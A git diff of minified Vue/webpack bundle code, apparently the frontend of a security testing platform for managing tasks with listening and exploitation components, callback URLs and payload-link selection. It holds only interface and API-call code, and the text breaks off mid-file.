a("a-form-model-item",{key:s,ref:"domains."+s+".value",refInFor:!0},[a("a-row",{staticClass:"tipTop",attrs:{gutter:3}},[a("a-col",{attrs:{span:4}},[a("a-button",{attrs:{block:"",type:"primary",ghost:""}},[t._v(t._s(e.template_name))])],1),a("a-col",{attrs:{span:16}},[a("a-input",{attrs:{placeholder:"请输入域名",readOnly:!0},model:{value:e.key,callback:function(a){t.$set(e,"key",a)},expression:"domain.key"}},[a("my-copy",{attrs:{slot:"suffix",text:e.key},slot:"suffix"})],1)],1),a("a-col",{attrs:{span:1}},[a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"edit"},on:{click:function(a){return t.openAddDomain(e,1)}}})],1),a("a-col",{attrs:{span:1}},[a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"minus-circle-o"},on:{click:function(a){return t.removeDomain(e,1)}}})],1)],1)],1)})),1)],1),a("a-card",{staticClass:"wb-m-b-30 border-radius-5",attrs:{bordered:!1}},[a("div",{staticClass:"clearfix",attrs:{slot:"title"},slot:"title"},[a("a-icon",{staticClass:"wb-m-r-5",attrs:{type:"thunderbolt",theme:"twoTone"}}),t._v(" 利用组件 "),a("a-tooltip",[a("template",{slot:"title"},[t._v("关于监听的介绍")]),a("a-icon",{attrs:{type:"info-circle"}})],2),a("a-button",{staticClass:"wb-m-r-5 float-right",attrs:{icon:"plus",size:"small"},on:{click:function(e){return t.openAddDomain(null,0)}}},[t._v(" 新建 ")])],1),a("a-form-model",t._b({ref:"dynamicValidateForm",staticClass:"wb-form-drawer",attrs:{model:t.dynamicValidateForm}},"a-form-model",t.formItemLayoutWithOutLabel,!1),t._l(t.dynamicValidateForm.utilize,(function(e,s){return a("a-form-model-item",{key:s,ref:"utilize."+s+".value",refInFor:!0},[a("a-row",{attrs:{gutter:3}},[a("a-col",{staticClass:"contain",attrs:{span:22}},[[a("a-tooltip",[a("template",{slot:"title"},[t._v(" "+t._s(e.template_name)+" ")]),a("a-button",{staticClass:"b titileButton",attrs:{block:"",type:"primary",ghost:""}},[a("div",{staticClass:"overflow"},[t._v(t._s(e.template_name))])])],2)],a("a-input",{staticClass:"marginright3",staticStyle:{width:"80%"},attrs:{placeholder:"请输入域名",readOnly:!0},model:{value:e.key,callback:function(a){t.$set(e,"key",a)},expression:"domain.key"}},[a("my-copy",{attrs:{slot:"suffix",text:e.key},slot:"suffix"})],1),a("a-icon",{staticClass:"dynamic-delete-button marginright3",attrs:{type:"edit"},on:{click:function(a){return t.openAddDomain(e,0)}}}),a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"minus-circle-o"},on:{click:function(a){return t.removeDomain(e,2)}}})],2)],1)],1)})),1)],1),a("div",{staticClass:"footBtn"},[t.id?t._e():a("a-button",{staticClass:"wb-m-r-5",on:{click:t.onClose}},[t._v("取消")]),t.id?t._e():a("a-button",{staticClass:"wb-m-r-5",on:{click:t.onSure}},[t._v("确定")])],1)],1),a("a-modal",{attrs:{title:"配置"},on:{ok:t.addConfigureOk,cancel:t.onCloseAddDomain},model:{value:t.addModalVisible,callback:function(e){t.addModalVisible=e},expression:"addModalVisible"}},[a("a-form-model",{ref:"ruleForm",attrs:{model:t.form,rules:t.rules,"label-col":t.labelCol,"wrapper-col":t.wrapperCol}},[a("a-form-model-item",{ref:"template",attrs:{label:"组件",prop:"template"}},[a("a-select",{attrs:{placeholder:"请选择组件"},on:{change:t.selectManage},model:{value:t.form.template,callback:function(e){t.$set(t.form,"template",e)},expression:"form.template"}},t._l(t.manageData,(function(e){return a("a-select-option",{key:e.value,attrs:{value:e.value}},[t._v(" "+t._s(e.lable)+" ")])})),1)],1),t.isSingleConfig?a("div",[a("a-form-model-item",{attrs:{label:"配置",prop:"configs"}},[a("a-select",{attrs:{placeholder:"请选择配置"},on:{change:function(e){return t.selectConfig(e)}},model:{value:t.form.configs,callback:function(e){t.$set(t.form,"configs",e)},expression:"form.configs"}},t._l(t.regionData,(function(e){return a("a-select-option",{key:e.value,attrs:{value:e.value}},[t._v(" "+t._s(e.lable)+" ")])})),1)],1),t.form.singConfigs.length?a("div",t._l(t.form.singConfigs,(function(e,s){return a("a-form-model-item",{key:s,attrs:{label:e.name}},[a("a-input",{model:{value:e.value,callback:function(a){t.$set(e,"value",a)},expression:"it.value"}})],1)})),1):t._e()],1):a("div",t._l(t.form.domains,(function(e,s){return a("div",{key:s},[a("a-form-model-item",{attrs:{label:"配置",rules:t.rules1}},[a("a-row",{attrs:{gutter:3}},[a("a-col",{attrs:{span:20}},[a("a-select",{ref:"domains."+s+".value",refInFor:!0,attrs:{prop:"domains."+s+".value",placeholder:"请选择配置"},on:{change:function(e){return t.selectConfig(e,s)},blur:function(e){return t.upDataValidateField(s)}},model:{value:e.configs,callback:function(a){t.$set(e,"configs",a)},expression:"domain.configs"}},t._l(t.regionData,(function(e){return a("a-select-option",{key:e.value,attrs:{value:e.value}},[t._v(" "+t._s(e.lable)+" ")])})),1)],1),a("a-col",{staticClass:"Textright",attrs:{span:2}},[a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"plus-circle-o",disabled:1===t.form.domains.length},on:{click:function(a){return t.addDomain(e)}}})],1),a("a-col",{staticClass:"Textright",attrs:{span:2}},[t.form.domains.length>1?a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"minus-circle-o",disabled:1===t.form.domains.length},on:{click:function(e){return t.removeConfig(s)}}}):t._e()],1)],1)],1),e.value.length?a("div",t._l(e.value,(function(e,s){return a("a-form-model-item",{key:s,attrs:{label:e.name}},[a("a-input",{model:{value:e.value,callback:function(a){t.$set(e,"value",a)},expression:"it.value"}})],1)})),1):t._e()],1)})),0),a("a-form-model-item",{attrs:{label:"生成链接",prop:"configs"}},[a("a-select",{attrs:{placeholder:"请选择生成链接"},on:{change:t.changeLink},model:{value:t.form.url_template,callback:function(e){t.$set(t.form,"url_template",e)},expression:"form.url_template"}},t._l(t.linkList,(function(e){return a("a-select-option",{key:e.id,attrs:{value:e.id}},[t._v(" "+t._s(e.payload)+" ")])})),1)],1)],1)],1)],1)},r=[],c=a("2d2c"),m=a("c24c"),d=a.n(m),u={props:{visible:!1,id:null},components:{MyCopy:c["a"]},data(){return{title:"新建",downAdUp:!0,addModalVisible:!1,labelCol:{span:5},wrapperCol:{span:18},wrapperCol1:{span:3,offset:21},form:{url_template:void 0,template:void 0,configs:void 0,domains:[{configs:"",value:[]}],singConfigs:[],task_config_id:void 0},rules:{template:[{required:!0,message:"组件必填",trigger:"blur"}],configs:[{required:!0,message:"配置必填",trigger:"change"}],name:[{required:!0,message:"任务名称必填",trigger:"change"}]},rules1:[{required:!0,message:"必填",trigger:"blur"}],visibleDetail:!1,drawerBodyStyle:{background:"#ededed"},formItemLayoutWithOutLabel:{wrapperCol:{xs:{span:24,offset:0},sm:{span:20,offset:2}}},dynamicValidateForm:{domains:[],utilize:[]},taskNameForm:{name:"",callback_url:"",callback_url_headers:"",show_dashboard:!0},manageData:[],manageDataChoice:{},configDataChoice:{},regionData:[],linkList:[],onSubmitLoading:!1,isSingleConfig:!0,task_id:"",modalType:null}},created(){this.initData()},methods:{initData(){this.id?(this.title="编辑",this.task_id=this.id,this.getData(this.id,1)):l["a"].create_tmp_task().then(t=>{1===t.code?(this.task_id=t.data.task_info.task_id,this.taskNameForm.name=t.data.task_info.task_name,this.taskNameForm.callback_url=t.data.task_info.callback_url,this.taskNameForm.callback_url_headers=t.data.task_info.callback_url_headers,this.taskNameForm.show_dashboard=t.data.task_info.show_dashboard,this.dynamicValidateForm.domains=t.listen_template_info,this.dynamicValidateForm.utilize=t.payload_template_info):(this.$message.error(t.message),this.onClose())},t=>{this.onClose()})},getData(t){l["a"].getTasksConfigs({task:t}).then(t=>{if(1===t.code){let{data:{task_info:e,payload_template_info:a,listen_template_info:s}}=t;this.taskNameForm.name=e.task_name,this.taskNameForm.callback_url=e.callback_url,this.taskNameForm.callback_url_headers=e.callback_url_headers,this.taskNameForm.show_dashboard=e.show_dashboard,this.dynamicValidateForm.domains=s,this.dynamicValidateForm.utilize=a}else this.$message.error(t.message),this.onClose();this.initTip()},t=>{this.onClose()})},initTip(){let t=sessionStorage.getItem("firstLogin");if("true"==t){const t=new d.a({animate:!1,allowClose:!1});let e=setTimeout(()=>{let a=!0;t.defineSteps([{element:document.getElementsByClassName("tipTop")[0],popover:{title:"组件链接",description:"新建与编辑组件可获取到可以使用的链接",position:"bottom"},showButtons:!0,doneBtnText:"下一步",closeBtnText:"跳出",onNext:()=>{a=!1,this.$router.push({path:"/components"})},onDeselected:()=>{a&&sessionStorage.setItem("firstLogin","false")}}]),t.start(),clearTimeout(e)},100)}},addConfigureOk(){this.$refs.ruleForm.validate(t=>{if(!t)return console.log("error submit!!"),!1;{let t={task:this.task_id,template:this.form.template,url_template:this.form.url_template,template_config_item_list:[]};if(this.isSingleConfig){if(t.template_config_item_list.push({template_config_item:this.form.configs}),this.form.singConfigs.length){let e=this.form.singConfigs.length,a={};for(let t=0;t{if(1===t.code){let{data:{listen_template_info:e,payload_template_info:a}}=t;this.dynamicValidateForm.domains=e,this.dynamicValidateForm.utilize=a,this.$message.success("操作成功"),this.onCloseAddDomain(),this.form.task_config_id=null}else this.$message.error(t.message)}):l["a"].tmp_update_config(t).then(t=>{if(1===t.code){let{data:{listen_template_info:e,payload_template_info:a}}=t;this.dynamicValidateForm.domains=e,this.dynamicValidateForm.utilize=a,this.$message.success("操作成功"),this.onCloseAddDomain(),this.form.task_config_id=null}else this.$message.error(t.message)})):this.id?l["a"].getTasksConfigsAdd(t).then(t=>{if(1===t.code){let{data:{listen_template_info:e,payload_template_info:a}}=t;this.dynamicValidateForm.domains=e,this.dynamicValidateForm.utilize=a,this.$message.success("操作成功"),this.onCloseAddDomain()}else this.$message.error(t.message)}):l["a"].tasks_tmp(t).then(t=>{if(1===t.code){let{data:{listen_template_info:e,payload_template_info:a}}=t;this.dynamicValidateForm.domains=e,this.dynamicValidateForm.utilize=a,this.$message.success("操作成功"),this.onCloseAddDomain()}else this.$message.error(t.message)})}})},onClose(){this.dynamicValidateForm.domains=[],this.dynamicValidateForm.utilize=[],this.$refs.taskNameForm.resetFields(),!this.id&&l["a"].cancel_tmp_task({task_id:this.task_id}),this.task_id=null,this.$emit("editEvent",{event:!1,id:this.id})},onSure(){if(!this.id){if(""==this.taskNameForm.name)return void this.$message.error("任务名称不能为空");l["a"].getCreatTask({task_id:this.task_id,task_name:this.taskNameForm.name,callback_url:this.taskNameForm.callback_url,callback_url_headers:this.taskNameForm.callback_url_headers,show_dashboard:this.taskNameForm.show_dashboard}).then(t=>{1===t.code&&this.$message.success("保存成功")})}this.dynamicValidateForm.domains=[],this.dynamicValidateForm.utilize=[],this.$refs.taskNameForm.resetFields(),this.task_id=null,this.$emit("editEvent",{event:!1,id:this.id})},submitAddName(){this.$refs.taskNameForm.validate(t=>{if(!t)return console.log("error submit!!"),!1;{let t={name:this.taskNameForm.name,callback_url:this.taskNameForm.callback_url,callback_url_headers:this.taskNameForm.callback_url_headers,show_dashboard:this.taskNameForm.show_dashboard};l["a"].getTasksManageEdit(this.task_id,t).then(t=>{1===t.code?this.$message.success("操作成功"):this.$message.error("操作成功")})}})},removeConfig(t){this.form.domains.splice(t,1)},removeDomain(t,e){let a=this;this.$confirm({title:"提示",content:"确认删除",onOk(){a.id?l["a"].getTasksConfigsDel(t.task_config_id).then(s=>{if(1===s.code){a.$message.success("操作成功");let s=1===e?a.dynamicValidateForm.domains.indexOf(t):a.dynamicValidateForm.utilize.indexOf(t);-1!==s&&(1===e?a.dynamicValidateForm.domains.splice(s,1):a.dynamicValidateForm.utilize.splice(s,1))}else a.$message.error(s.massage)}):l["a"].tmp_delete_config(t.task_config_id).then(s=>{if(1===s.code){a.$message.success("操作成功");let s=1===e?a.dynamicValidateForm.domains.indexOf(t):a.dynamicValidateForm.utilize.indexOf(t);-1!==s&&(1===e?a.dynamicValidateForm.domains.splice(s,1):a.dynamicValidateForm.utilize.splice(s,1))}else a.$message.error(s.massage)})},onCancel(){}})},getLinkList(t){l["a"].linkList({template:t}).then(t=>{var e;this.linkList=null===t||void 0===t||null===(e=t.data)||void 0===e?void 0:e.results})},changeLink(t){this.form.url_template=t},openAddDomain(t,e){null!==t&&void 0!==t&&t.template&&this.getLinkList(t.template),l["a"].getTemplatesManage({type:e}).then(e=>{if(1===e.code){t?(this.modalType=1,this.getConfigSelectData(t.template),this.hanlderEidtData(t)):this.modalType=2,this.addModalVisible=!0,this.manageData=[],this.manageDataChoice={};let{data:{results:a}}=e,s=a.length;for(let t=0;t{if(1===t.code){this.regionData=[],this.configDataChoice={};let{data:{results:e}}=t,a=e.length;for(let t=0;t{this.modalType=null,this.form.template=void 0,this.form.configs=void 0,this.form.domains=[{configs:"",value:[]}]}),this.isSingleConfig=!0,this.regionData=[],this.addModalVisible=!1,this.$refs.ruleForm.resetFields()},addDomain(){this.form.domains.push({configs:null,value:[],key:Date.now()})},resetForm(){this.$refs.ruleForm.resetFields()},handleData(t){let e=t.length,a={};if(0===e)return a;for(let s=0;s{if(1===t.code){let{data:e}=t;const a={...this.pagination};a.total=e.count,this.pagination=a,this.data=e.results,this.initTast(this.data[0])}})},initTast(t){let e=sessionStorage.getItem("firstLogin");if("true"==e){const e=new d.a({allowClose:!1});let a=setTimeout(()=>{let s=!0;e.defineSteps([{element:document.getElementsByClassName("topTip")[0],popover:{title:"任务详情",description:"查看自己任务的详细信息",position:"right"},showButtons:!0,doneBtnText:"下一步",closeBtnText:"跳出",onDeselected:()=>{s&&sessionStorage.setItem("firstLogin","false")},onNext:()=>{s=!1,this.editEvent(t)}}]),e.start(),clearTimeout(a)},10)}},changeStatus(t,e){let a=this;this.$confirm({title:"提示",content:t?"是否开启":"是否关闭",onOk(){let s={id:[],status:t};s.id.push(e.id),a.getChangeStatus(s)},onCancel(){e.status=!t}})},update(t){t.id&&(this.editId=null),this.visible=!1,setTimeout(()=>{this.initData()},500)},changeNum(){this.testData.handleNum(9)},onSearch(){this.initData()},handleTableChange(t){const e={...this.pagination};e.current=t.current,e.pageSize=t.pageSize,this.pagination=e;let a={page_size:t.pageSize,page:t.current};this.initData(a)},addEvent(){this.visible=!0},editEvent(t){this.editId=t.id,this.visible=!0},jumpEvent(t){this.$router.push({name:"message",query:{id:t.id}})},enableEvent(t){if(0===this.selectedRowKeys.length)return this.$message.error("未选择任何数据");let e={id:this.selectedRowKeys,status:t};this.getChangeStatus(e)},getChangeStatus(t){l["a"].getTasksManageStatus(t).then(t=>{1===t.code?(this.$message.success("操作成功"),this.selectedRowKeys=[]):this.$message.error(t.message),this.initData()})},getDeleTask(t){l["a"].getTasksManageDele(t).then(t=>{1===t.code?(this.$message.success("操作成功"),this.selectedRowKeys=[]):this.$message.error(t.message),this.initData()})},deleteEvent(t=""){let e=this;if(t)this.$confirm({title:"提示",content:"确认删除",onOk(){let a={id:t.id};e.getDeleTask(a)},onCancel(){}});else{if(0===this.selectedRowKeys.length)return this.$message.error("未选择任何数据");let t={id:this.selectedRowKeys.join(",")};this.getDeleTask(t)}},onSelectChange(t){this.selectedRowKeys=t}}},k=_,b=(a("b039"),Object(f["a"])(k,s,i,!1,null,"a79d6cfc",null));e["default"]=b.exports},b039:function(t,e,a){"use strict";a("2173")},b893:function(t,e){function a(t){let e={};for(const a in t)e[a]=t[a].join(",");return e}function s(t,e){var a=document.createElement("input");a.setAttribute("id","cp_hgz_input"),a.value=t,document.getElementsByTagName("body")[0].appendChild(a),document.getElementById("cp_hgz_input").select(),document.execCommand("copy"),document.getElementById("cp_hgz_input").remove(),e&&e(t)}t.exports={handleFilters:a,copyText:s}},c483:function(t,e,a){"use strict";a("4af6")},c89e:function(t,e,a){}}]); \ No newline at end of file diff --git a/static/js/chunk-a9681bc2.19061e4e.js b/static/js/chunk-a9681bc2.19061e4e.js deleted file mode 100644 index f426f9e..0000000 --- a/static/js/chunk-a9681bc2.19061e4e.js +++ /dev/null @@ -1 +0,0 @@ -(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-a9681bc2"],{2173:function(t,e,a){},"2d2c":function(t,e,a){"use strict";var s=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("a-tooltip",{attrs:{slot:"suffix",title:t.copyTitle},slot:"suffix"},[a("a-icon",{staticClass:"copy",attrs:{type:t.copyIcon},on:{click:function(e){return t.copyEvent(t.text)},mouseleave:t.copyMouseleave}})],1)},i=[],o=a("b893"),n={data(){return{copyIcon:"copy",copyTitle:"复制到剪贴板"}},props:{text:""},methods:{copyEvent(t){let e=this;Object(o["copyText"])(t,(function(){e.copyIcon="check",e.copyTitle="复制成功"}))},copyMouseleave(){"check"===this.copyIcon&&(this.copyIcon="copy")}}},l=n,r=(a("c483"),a("2877")),c=Object(r["a"])(l,s,i,!1,null,"2eccf1f6",null);e["a"]=c.exports},"4af6":function(t,e,a){},"8f98":function(t,e,a){"use strict";a.r(e);var s=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",[a("div",{staticClass:"div_card"},[t._m(0),a("div",{staticClass:"content"},[a("a-row",{staticClass:"search-area",attrs:{gutter:2}},[a("a-col",{attrs:{span:19}},[a("a-button",{staticClass:"wb-m-r-5",attrs:{type:"primary",icon:"plus-circle",size:"small"},on:{click:t.addEvent}},[t._v(" 新建 ")]),a("a-button",{staticClass:"wb-m-r-5",attrs:{type:"primary",icon:"check-circle",size:"small"},on:{click:function(e){return t.enableEvent(!0)}}},[t._v(" 启用 ")]),a("a-button",{staticClass:"wb-m-r-5",attrs:{type:"primary",icon:"minus-circle",size:"small"},on:{click:function(e){return t.enableEvent(!1)}}},[t._v(" 禁用 ")]),a("a-button",{attrs:{type:"danger",icon:"delete",size:"small"},on:{click:function(e){return t.deleteEvent()}}},[t._v("删除")])],1),a("a-col",{attrs:{span:5}},[a("a-input-search",{attrs:{placeholder:"输入关键字搜索任务名",allowClear:""},on:{search:t.onSearch},model:{value:t.searchValue,callback:function(e){t.searchValue=e},expression:"searchValue"}})],1)],1),a("a-table",{attrs:{columns:t.columns,"data-source":t.data,rowKey:"id",pagination:t.pagination,loading:t.messageLoading,"row-selection":{selectedRowKeys:t.selectedRowKeys,onChange:t.onSelectChange}},on:{change:t.handleTableChange},scopedSlots:t._u([{key:"name",fn:function(e){return a("a",{on:{click:function(a){return a.stopPropagation(),t.editEvent(e)}}},[a("a-popover",[a("template",{slot:"content"},[t._v("点击查看详情")])],2),a("div",{staticClass:"topTip"},[t._v(t._s(e.name))])],1)}},{key:"message_counts",fn:function(e){return a("a",{on:{click:function(a){return a.stopPropagation(),t.jumpEvent(e)}}},[t._v(" "+t._s(e.message_counts)+" ")])}},{key:"status",fn:function(e){return a("span",{},[a("a-switch",{on:{click:function(a){return t.changeStatus(a,e)}},model:{value:e.status,callback:function(a){t.$set(e,"status",a)},expression:"text.status"}})],1)}},{key:"update_time",fn:function(e){return a("span",{},[t._v(t._s(t._f("wuba_dateformat")(e)))])}},{key:"action",fn:function(e){return a("span",{},[a("a",{staticClass:"wb-m-l-5",attrs:{href:"javascript:;"},on:{click:function(a){return t.deleteEvent(e)}}},[t._v("删除")])])}}])})],1)]),t.visible?a("MydDrawer",{attrs:{visible:t.visible,id:t.editId},on:{editEvent:t.update}}):t._e()],1)},i=[function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",{staticClass:"title clearfix"},[a("div",{staticClass:"left"},[t._v("最新任务")])])}],o=a("1294"),n=a("0995"),l=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",[a("a-drawer",{attrs:{title:t.title,placement:"right",closable:!!t.id,visible:t.visible,width:"40%",wrapClassName:"wb-drawer-div",destroyOnClose:!0,maskClosable:!!t.id,drawerStyle:t.drawerBodyStyle},on:{"update:visible":function(e){t.visible=e},close:t.onClose}},[a("a-card",{staticClass:"wb-m-b-30 clearfix border-radius-5",attrs:{bordered:!1}},[a("div",{attrs:{slot:"title"},slot:"title"},[a("a-icon",{staticClass:"wb-m-r-5",attrs:{twoToneColor:"#eb0806",type:"crown",theme:"twoTone"}}),t._v(" 任务 "),a("a-tooltip",[a("template",{slot:"title"},[t._v("关于监听的介绍")]),a("a-icon",{attrs:{type:"info-circle"}})],2),t.id?a("a-button",{staticClass:"wb-m-r-5 float-right",attrs:{icon:"to-top",size:"small"},on:{click:t.submitAddName}},[t._v(" 保存 ")]):t._e()],1),a("a-form-model",{ref:"taskNameForm",attrs:{model:t.taskNameForm,rules:t.rules,"label-col":t.labelCol,"wrapper-col":t.wrapperCol}},[a("a-form-model-item",{ref:"name",attrs:{prop:"name"}},[a("span",{attrs:{slot:"label"},slot:"label"},[t._v("任务名称")]),a("a-input",{model:{value:t.taskNameForm.name,callback:function(e){t.$set(t.taskNameForm,"name",e)},expression:"taskNameForm.name"}})],1),a("a-form-model-item",{ref:"callback_url",attrs:{prop:"callback_url"}},[a("span",{attrs:{slot:"label"},slot:"label"},[t._v("首页关注")]),a("a-switch",{model:{value:t.taskNameForm.show_dashboard,callback:function(e){t.$set(t.taskNameForm,"show_dashboard",e)},expression:"taskNameForm.show_dashboard"}}),a("a-button",{staticStyle:{float:"right","font-size":"16px"},attrs:{type:"link"},on:{click:function(){t.downAdUp=!t.downAdUp}}},[t._v(" 高级配置 "),t.downAdUp?a("a-icon",{attrs:{type:"down"}}):a("a-icon",{attrs:{type:"up"}})],1)],1),a("a-form-model-item",{directives:[{name:"show",rawName:"v-show",value:!t.downAdUp,expression:"!downAdUp"}],ref:"zzz",attrs:{prop:"zzz"}},[a("span",{attrs:{slot:"label"},slot:"label"},[t._v("通知接口")]),a("a-input",{model:{value:t.taskNameForm.callback_url,callback:function(e){t.$set(t.taskNameForm,"callback_url",e)},expression:"taskNameForm.callback_url"}})],1),a("a-form-model-item",{directives:[{name:"show",rawName:"v-show",value:!t.downAdUp,expression:"!downAdUp"}],ref:"xxx",attrs:{prop:"xxx"}},[a("span",{attrs:{slot:"label"},slot:"label"},[t._v("接口header")]),a("a-input",{model:{value:t.taskNameForm.callback_url_headers,callback:function(e){t.$set(t.taskNameForm,"callback_url_headers",e)},expression:"taskNameForm.callback_url_headers"}})],1)],1)],1),a("a-card",{staticClass:"wb-m-b-30 border-radius-5",attrs:{bordered:!1}},[a("div",{staticClass:"clearfix",attrs:{slot:"title"},slot:"title"},[a("a-icon",{staticClass:"wb-m-r-5",attrs:{type:"notification",theme:"twoTone"}}),t._v(" 监听组件 "),a("a-tooltip",[a("template",{slot:"title"},[t._v("关于监听的介绍")]),a("a-icon",{attrs:{type:"info-circle"}})],2),a("a-button",{staticClass:"wb-m-r-5 float-right",attrs:{icon:"plus",size:"small"},on:{click:function(e){return t.openAddDomain(null,1)}}},[t._v(" 新建 ")])],1),a("a-form-model",t._b({ref:"dynamicValidateForm",staticClass:"wb-form-drawer",attrs:{model:t.dynamicValidateForm}},"a-form-model",t.formItemLayoutWithOutLabel,!1),t._l(t.dynamicValidateForm.domains,(function(e,s){return a("a-form-model-item",{key:s,ref:"domains."+s+".value",refInFor:!0},[a("a-row",{staticClass:"tipTop",attrs:{gutter:3}},[a("a-col",{attrs:{span:4}},[a("a-button",{attrs:{block:"",type:"primary",ghost:""}},[t._v(t._s(e.template_name))])],1),a("a-col",{attrs:{span:16}},[a("a-input",{attrs:{placeholder:"请输入域名",readOnly:!0},model:{value:e.key,callback:function(a){t.$set(e,"key",a)},expression:"domain.key"}},[a("my-copy",{attrs:{slot:"suffix",text:e.key},slot:"suffix"})],1)],1),a("a-col",{attrs:{span:1}},[a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"edit"},on:{click:function(a){return t.openAddDomain(e,1)}}})],1),a("a-col",{attrs:{span:1}},[a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"minus-circle-o"},on:{click:function(a){return t.removeDomain(e,1)}}})],1)],1)],1)})),1)],1),a("a-card",{staticClass:"wb-m-b-30 border-radius-5",attrs:{bordered:!1}},[a("div",{staticClass:"clearfix",attrs:{slot:"title"},slot:"title"},[a("a-icon",{staticClass:"wb-m-r-5",attrs:{type:"thunderbolt",theme:"twoTone"}}),t._v(" 利用组件 "),a("a-tooltip",[a("template",{slot:"title"},[t._v("关于监听的介绍")]),a("a-icon",{attrs:{type:"info-circle"}})],2),a("a-button",{staticClass:"wb-m-r-5 float-right",attrs:{icon:"plus",size:"small"},on:{click:function(e){return t.openAddDomain(null,0)}}},[t._v(" 新建 ")])],1),a("a-form-model",t._b({ref:"dynamicValidateForm",staticClass:"wb-form-drawer",attrs:{model:t.dynamicValidateForm}},"a-form-model",t.formItemLayoutWithOutLabel,!1),t._l(t.dynamicValidateForm.utilize,(function(e,s){return a("a-form-model-item",{key:s,ref:"utilize."+s+".value",refInFor:!0},[a("a-row",{attrs:{gutter:3}},[a("a-col",{staticClass:"contain",attrs:{span:22}},[[a("a-tooltip",[a("template",{slot:"title"},[t._v(" "+t._s(e.template_name)+" ")]),a("a-button",{staticClass:"b titileButton",attrs:{block:"",type:"primary",ghost:""}},[a("div",{staticClass:"overflow"},[t._v(t._s(e.template_name))])])],2)],a("a-input",{staticClass:"marginright3",staticStyle:{width:"80%"},attrs:{placeholder:"请输入域名",readOnly:!0},model:{value:e.key,callback:function(a){t.$set(e,"key",a)},expression:"domain.key"}},[a("my-copy",{attrs:{slot:"suffix",text:e.key},slot:"suffix"})],1),a("a-icon",{staticClass:"dynamic-delete-button marginright3",attrs:{type:"edit"},on:{click:function(a){return t.openAddDomain(e,0)}}}),a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"minus-circle-o"},on:{click:function(a){return t.removeDomain(e,2)}}})],2)],1)],1)})),1)],1),a("div",{staticClass:"footBtn"},[t.id?t._e():a("a-button",{staticClass:"wb-m-r-5",on:{click:t.onClose}},[t._v("取消")]),t.id?t._e():a("a-button",{staticClass:"wb-m-r-5",on:{click:t.onSure}},[t._v("确定")])],1)],1),a("a-modal",{attrs:{title:"配置"},on:{ok:t.addConfigureOk,cancel:t.onCloseAddDomain},model:{value:t.addModalVisible,callback:function(e){t.addModalVisible=e},expression:"addModalVisible"}},[a("a-form-model",{ref:"ruleForm",attrs:{model:t.form,rules:t.rules,"label-col":t.labelCol,"wrapper-col":t.wrapperCol}},[a("a-form-model-item",{ref:"template",attrs:{label:"组件",prop:"template"}},[a("a-select",{attrs:{placeholder:"请选择组件"},on:{change:t.selectManage},model:{value:t.form.template,callback:function(e){t.$set(t.form,"template",e)},expression:"form.template"}},t._l(t.manageData,(function(e){return a("a-select-option",{key:e.value,attrs:{value:e.value}},[t._v(" "+t._s(e.lable)+" ")])})),1)],1),t.isSingleConfig?a("div",[a("a-form-model-item",{attrs:{label:"配置",prop:"configs"}},[a("a-select",{attrs:{placeholder:"请选择配置"},on:{change:function(e){return t.selectConfig(e)}},model:{value:t.form.configs,callback:function(e){t.$set(t.form,"configs",e)},expression:"form.configs"}},t._l(t.regionData,(function(e){return a("a-select-option",{key:e.value,attrs:{value:e.value}},[t._v(" "+t._s(e.lable)+" ")])})),1)],1),t.form.singConfigs.length?a("div",t._l(t.form.singConfigs,(function(e,s){return a("a-form-model-item",{key:s,attrs:{label:e.name}},[a("a-input",{model:{value:e.value,callback:function(a){t.$set(e,"value",a)},expression:"it.value"}})],1)})),1):t._e()],1):a("div",t._l(t.form.domains,(function(e,s){return a("div",{key:s},[a("a-form-model-item",{attrs:{label:"配置",rules:t.rules1}},[a("a-row",{attrs:{gutter:3}},[a("a-col",{attrs:{span:20}},[a("a-select",{ref:"domains."+s+".value",refInFor:!0,attrs:{prop:"domains."+s+".value",placeholder:"请选择配置"},on:{change:function(e){return t.selectConfig(e,s)},blur:function(e){return t.upDataValidateField(s)}},model:{value:e.configs,callback:function(a){t.$set(e,"configs",a)},expression:"domain.configs"}},t._l(t.regionData,(function(e){return a("a-select-option",{key:e.value,attrs:{value:e.value}},[t._v(" "+t._s(e.lable)+" ")])})),1)],1),a("a-col",{staticClass:"Textright",attrs:{span:2}},[a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"plus-circle-o",disabled:1===t.form.domains.length},on:{click:function(a){return t.addDomain(e)}}})],1),a("a-col",{staticClass:"Textright",attrs:{span:2}},[t.form.domains.length>1?a("a-icon",{staticClass:"dynamic-delete-button",attrs:{type:"minus-circle-o",disabled:1===t.form.domains.length},on:{click:function(e){return t.removeConfig(s)}}}):t._e()],1)],1)],1),e.value.length?a("div",t._l(e.value,(function(e,s){return a("a-form-model-item",{key:s,attrs:{label:e.name}},[a("a-input",{model:{value:e.value,callback:function(a){t.$set(e,"value",a)},expression:"it.value"}})],1)})),1):t._e()],1)})),0)],1)],1)],1)},r=[],c=a("2d2c"),m=a("c24c"),d=a.n(m),u={props:{visible:!1,id:null},components:{MyCopy:c["a"]},data(){return{title:"新建",downAdUp:!0,addModalVisible:!1,labelCol:{span:5},wrapperCol:{span:18},wrapperCol1:{span:3,offset:21},form:{template:void 0,configs:void 0,domains:[{configs:"",value:[]}],singConfigs:[],task_config_id:void 